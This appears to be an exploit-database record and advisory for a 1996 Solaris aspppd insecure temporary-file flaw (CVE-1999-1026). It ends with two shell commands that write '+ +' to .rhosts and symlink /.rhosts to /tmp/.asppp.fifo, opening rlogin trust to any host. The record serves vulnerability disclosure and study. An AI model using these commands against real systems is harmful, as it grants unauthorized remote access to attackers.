Solaris 7.0 - aspppd Insecure Temporary File Creation

Author: Al-Herbish
type: local
platform: solaris
port: nan
date_added: 1996-12-20 
date_updated: 2012-06-17 
verified: 1 
codes: CVE-1999-1026;OSVDB-8670 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/292/info

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd.

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.